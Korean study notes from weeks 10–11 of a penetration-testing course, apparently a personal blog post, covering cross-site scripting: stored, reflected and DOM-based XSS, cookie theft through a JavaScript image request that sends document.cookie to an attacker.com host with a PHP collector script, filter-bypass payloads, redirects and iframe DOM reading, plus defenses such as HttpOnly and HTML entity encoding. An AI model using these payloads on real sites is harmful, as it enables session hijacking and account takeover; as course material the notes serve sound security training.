카테고리 없음

10주차 + 11주차 모의해킹 이야기

h/bhacker 2024. 12. 31. 00:10

10주차 1+ 2

 

보고서 작성시 유의할 점

한글 프로그램 사용금지

보고서는 word로 작성 or notion, pdf 도 괜찬음

만약 한글 프로그램을 사용하면 pdf로 변환해서 제출해야 함

 

 

LINK

URL

naver.com/

 

webserver.com/xss_attack.php

 

<script>

document.cookie.

</script>

xsscsrf 클리아언트 측 공격이다,

검증을 할 때에는 꼭 12역으로 검증해야 한다. 즉 내가 해커도 되보고 피해자도 돠봐야 된다는 것임

 

________________________________________________________________________________________________

지난 시간 까지 임의의 스크립트를 삽입하는 것 까지 해보았음

임의의 스크립트는 alert(1)이다.

과제가 아닌 실무에서도 alert(1) 혹은 alert(document.cooke) 혹은 alert(‘xss’) 이런 식으로 해야한다.

크로스사이트스크립트는 자바스크립트를 얼마나 잘 사용하느냐에 따라 공격활용도가 전지 차이가 난다.

그 중에서 이것 하나만은 꼭꼭 기억해야 한다. 그것은

COOKIE 탈취

우리가 왜 쿠키 탈취를 해야 하는가?

세션ID가 쿠키에 저장이 된다. 그럼 그 세션 ID를 공격자가 받았다면 그것으로 아이디 비밀번호 없이 로그인이 가능하다.

 

javascript

(개발자 도구에서 콘솔에) document.cookie를 치면 쿠키 정보가 나옴

이 쿠키를 변수에 담아 두면 좋을 것임. 그래서

var cookieData = document.cookie; 이렇게 담아둠 우리는 받기만 하면되니까 받을 때 자바스크립트 코드는

var I = new Image() ; (의미 : 이미지 태크(<img>)를 생성 한 것임)

I.src = “http://normaltic.attacker.com/”; 이런 식으로 작성함 (이미지태그에서 소스정보를 적어준 것임)

 

 

이 두줄을 적게 되면

<img src=“http://normaltic.attacker.com/”> 이 태그가 HTML 내에 생성이 된다.

 

 

 

뒤에 ?cookie=” + ”Secret_data”;이런식으로 적으면 get방식이 된다.

var I = new Image()

I.src = “http://normaltic.attacker.com/?cookie=” + ”Secret_data”;

 

링크 두 개 가 합쳐지면

http://normaltic.attacker.com/?cookie=Secret_data 요청을 보내니까 이런 식으로 될 것이다.

 

아까 만들어둔 이미지 태그 I.src에 쿠키값을 넣는다.

I.src=“htt[://normaltic.attacker.com/?cookie=” + cookieData:

 

3+ 4

위 경로에 우리 웹서버의 주소를 넣을 것이다.

 

----------------------------------------------------------------------------------------------

ex) 웹 서버 개발

getCred.php

 

<?php

$cookie = $_GET[‘cookie’];

 

echo $cookie;

?>

__________________________________________________________________________________________

 

라이브 코칭

 

크로스사이트 스크립팅

: 공격자가 원하는 임의의 스크립트(=쉽게말해 코드)가 피해자의 컴퓨터에서 실행되게 하는 것

(자바스크립트즉 웹 브라우저에서 실행되는 것임)

 

1.세션 탈취

쿠키에 세션이 많이 있다. 그래서 document.cookie 데이터 탈취

대응방안 : http only 속성( 혹은 secure(시큐어 속성)넣기 쿠키 보안 설정 관련 용어 찾아보면 나옴

 

http 속성 넣으면 크사 취약점 해결 된다 -> x (위 경우는 alert를 못 뜨거 하거나 쿠키탈취를 못하게 제한만하는 것임)

 

2. 페이지 이동

 

3. HTML Overwirte

html에서 자바스크립트만 사용하는 것이 아니라 html 코드를 넣어서 버튼을 만들거나 원하는 파일을 다운로드 받도록 페이지를 바꿔치기 하는 등의 방법

 

키로거도 존재함

 

XSS 전달 방법

-Stored XSS (서버에 저장되는 경우)

: 피해자가 그 페이지에 접근만 하면 된다. (그 페이지의 링크를 전달하거나 돌아다니다가 그 페이지에 접근하게 하거나 임)

Reflected XSS(

: 서버 응답에 스크립트가 삽입되어 오므로 삽입이 되어 피해자의 컴퓨터에 응답되게 하는 방법

그방법이 바로 URL 이다.

URL

 

search.php?keyword=<script>~~~</script> HTTP/2 이 것은 취약한가?

 

GET / search.php?keyword=<script>~~~</script> HTTP/2 이렇게 get 메서드로 바꿔서 해봐야 알 수 있다.

 

XSS 대응방안

막는 방법

HTML 특수 문자를 Entity(엔티티) 표현방법으로 치환을 해줘야 함

WHY?

클라이언츠 측 스크립트가 실행되는 것이 문제이기 때문에 그것을 막기 위함이다.

대표적인 HTML 특수 문자

<,>(껏쇠), “,‘(따옴표)

HTML Entity를 적용하면 딱이지만 적용하지 못하는 곳이 있다면?

HTML EditorHTML Entity 게시판을 적용하지 못한다.

 

ex) 만약 아래처럼 되었다면

Hello

<img src=x onerror=“alert(1)”/>

<scropt>alert(1);</script>

 

사용자의 입력에서 모든 HTML 특수 문자들을 HTML Entity로 치환한다.

다 치환하면 깨진다.

Hello

&lt;img src=x /&gt;

&lt;scropt&gt;alert(1);&lt;/script&gt;

 

 

치환된 사용자 입력을 다시 검토하여 화이트리스트 기반 방식으로 사용할 태그들을 다시 살려준다.

img, h1, video

Hello

<img src=x onerror=“alert(1)” /> 이렇게 하면 해커가 심은 코드가 실행이 될 수 있다.

&lt;scropt&gt;alert(1);&lt;/script&gt;

 

 

 

 

3. 블랙리스트 기반 방식 필터링을 할 것이다.

이벤트 핸들러on~

Hello

<img src=x onxerror=“alert(1)” /> 이렇게 하면 해커가 심은 코드가 실행이 될 수 있다.

&lt;scropt&gt;alert(1);&lt;/script&gt;

이런 식으로 errorxerror 또는 xonerror로 되어 실행되지 않게 해주는 등의 방법이 있다.

이렇게 하면 이미지 태그도 살릴 수 있고 자바스크립트만 잡아서 실행되지 않게 할 수 있다.

 

DOM Based XSS

악의적인 스크립트가 클라이언트 측 브라우저에서 생성되는 XSS이다.

 

javascript에서 HTML Tag 작성

 

 

11주차

XSS(크로스사이트스크립트)

: 피해자 측에서 실행될 수 있는 스크립트를 삽입하여 실행하는 공격임

클라이언트 측 스크립트를 삽입하는 공격 또는 클라이언트 측 기기(단말기)에서 스크립트가 실행되게 하는 공격

 

Stored XSS : 게시판, DB 등 저장함

Reflected XSS: (서버에서 우리가 보낸 응답이 그대로 남아서 다시 넘어오는 것) 검색 기능

Reflected XSS 특징: GET Method 사용해야 하며, URL을 전달하는 방식으로 공격할 수 있음

 

DOM Based XSS: 브라우저의 자바스크립트에 의해서 HTML Tag가 만들어지기도 함.

ex) http://ejfweikf.com/search=ef# 일 때 # 뒤에는 서버로 전달되지 않고 브라우저 측에서 ef까지 잘라서 . 서버로 보낸다. #뒷부분은 주소에는 남아 있지만 서버에는 없다 그렇지만 주석은 아님

 

** Cookie Steel (쿠키 탈취) **

스크립트 태그 안에서 쿠키 값 접근 방법은 아래처럼 하면 쿠키 값을 가져올 수 있지만 쿠키값은 URL에 만 속해 있다.

즉 쿠키는 분리가 되고 네이버와 구글에 들어갔을 때 네이버는 네이버만의 쿠키가 있고 구글은 구글 만의 쿠키가 따로 있음. 네이버 쿠키로 구글을 못들어가고 반대로도 구글 쿠키로 네이버들어가지 못함

직접 document.cookie넣에도 됨

변수에 담아서 가져옴

자바스크립트에서 var는 변수 선언임

<script>

var cookieData = document.cookie

 

// GET Image (GET 방식으로 이미지 태그 생성하기)

var I = new Image(); (이미지 태그 생성함) (src라는 속성을 만들어 줄 것임)

I.src = “attcake.com/ ” + cookieData;

</script>

<img src=“http://attacker.com/eifj”> 이런 이미지 태그를 만들었다고 할 때 브라우저 입장에서 이건 이미지 태그구나

그림 넣어야지 하고 src뒤에 있는주소에 가서 그림을 가져오려고 할 것임. attacker.com이라는 웹서버에게 eifj라는 파일을 주세요라고 요청을 할 것이다. 우리는 이 기능을 이용하는 것이다.

XSS 대응방안

오답 => 필터링이요

필터링 : 사용자의 입력을 제한 하는 것임

 

블랙 리스트 기반 필터링 : 특정 단어를 못들어 오게 하는 것임

(우회가 될 가능성이 어느 정도 존재한다.)

 

* 대소문자 혼용

<ScRipT></ScrIpt>

 

<scrscriptipt> =><script>

 

script => xript

 

XSS 할 때 자바스크립트 태그 말고 이미지태그 img tag를 사용하는 방법도 있다.

 

<img src=x oneror=’alert(1)’>

 

Event Handler

onload, onclick, onmouseover, .....

 

** href (경로지정)

<a href=“javascript:alert(1)”>TEST </a> 으로 활용할 수 있다.

 

**Javascript 내에서 XSS <.> (꺽쇠 사용 못하는 경우)

 

Reflected를 사용하는데 우리가 삽입한 스크립트가(글자가) 스크립트 태그 안에 존재할 경우가 있다.

이런 경우는 <>(꺽쇠)이미지 태그나 <>(꺽쇠) 스크립트를 사용할 필요 없이 바로 alert(1)을 작성하면 된다.

 

<script>

alert(1);

</script>

 

아래처럼 되어 있다면

“;alert(1);var a = ”

<script>

var data = “_____”;

</script>

 

<script>

var data = “”;“;alert(1);var a = ””;

</script>

이렇게 할 수 있다.

 

** input XSS

 

<input type=“text” onmouseover=“aler(1)“>

 

<input typt=“text” onfocus=“alert(1)”>

 

<input typt=“text” autofocus onfocus=“alert(1)”>

 

블랙리스트 기반 필터링은 한계가 있다. 우리가 아직 아무도 못알아 냈을 뿐이다. 우회활 수 있는 여지가 지금도 계속 나오고 있고 새로운 기법 새로운 방식들이 나중에든 더 많인 나올 것이다.

 

이것이 완벽하게 차단할 수 있는 방법은 있나>

있다.

 

HTML 특수 문자들을 HTML Entity로 전부 치환하기

적어도

<

>

적어도 이 4개만 처리 해도 크로스사이트 스크립트 취약점 에서 자유로울 수 있다.

 

위에 경우가 안되는경우가 있는데 그것이

HTML Editor이다.

xss 많이 일어날 수 밖에 없음

 

해결 방법

HTML Editor을 잘 사용 안하고 모양만 갖춘곳

HTML Editor 기능 삭제

 

HTML Editor을 꼭 사용해야 하는 곳

1.사용자의 파라미터에서 HTML 특수 문자들을 전부 HTML Etity로 치환하기

<img> => &lt;img&gt; ( 다 깨짐)

 

2. 허용해줄 tag를 식별하고 그 tag를 다시 살린다.

(화이트 리스트 기반)

img

a (script 이런 것들은 허용 안함)

h1

h2

h3 등등등 이런 태그들을 허용해 줄거야 하면

 

&lt;img&gt; -> <img> 다시 살려줌

 

3. 살려준 tag내에 악의전인 event Handler가 있는지 블랙리스트 기반으로 필터링 한다.(필터링 후 제거함)

onerror, onload

악의적인 event Hander만 기능을 없앤다.

위의 3가지를 거쳐서 대응을 해야 한다.

 

 

화이트 리스트 기반 필터링 : 특정 단어만 들어오게 하는 것임

 

-------------------------------------------------------------------

 

Client Script

 

**Page Redirect

 

(쿠키 탈취 후 이 페이지를 다른 페이지로 옮기게 하고 싶다면?)

<script>

location.href=“”;

</script>

 

<script>

location.href=“https//attacker.com/”;

localtion.replace(“https//attacker.com/”);

</script>

 

** 주소창 변조

 

<script>

history.pushState(null, null, ‘test’)

history.pushState(null, null, ‘login.php’)

</script>

앞 주소는 못 바꿔도 경로는 바꿀 수 있다.

 

**DOM 객체 접근

document.cookie

 

document.getElement

HTML

id는 유일해서 똑같은 id 있으면 안됨. class는 분류하는 것이라 똑같은 이름 있을 수 있음

<html>

<h1 id=“name” class=“NameClass”> </h1>

</html>

 

 

 

document.getElementById(‘userName’)

<h5 class=“card-title” id=“userName”>후디</h5>

document.getElementByClassName(‘card-title’);

HTMLCollection(2) [h5#userName.card-title, h5.card-title, userName:

h5#userName.card-title]

document.getElementByClassName(‘card-title’)[0]

<h5 class=“card-title” id=“userName”>후디</h5>

document.getElementByClassName(‘card-title’)[1]

<h5 class=“card-title”> 내 정보</h5>

document.getElementByClassName(‘userName’);

<h5 class=“card-title” id=“userName”>후디</h5>

document.getElementById(‘userName’).id

‘userName’

document.getElementById(‘userName’).className

‘card-title’

후디라는 글자를 가져오는 방법은

document.getElementById(‘userName’).innerHTML

후디

innerHTML은 글자이면 글자를 가져오고 태그가 또 있으면 태그를 가져옴

 

 

게시판

<iframe src=“http://~~~/mypage.php”></iframe> 활용

-> <iframe src=“http://~~~/mypage.php” id=”targetFrame”></iframe>

document.getElementById를 통해서 targetFarame를 가져올 수 있음

<script>

var targetTag =

document.getElementById(‘targetFarame’);

var DOMData = targetTag.contentDocument

</script>

 

*과제

오늘 수업 내용 정리

2.Basic Script Prac 문제 풀이

3.Steal Info, Steal Info2

4. 문제 풀이 블로그 정리

5. 웹 개발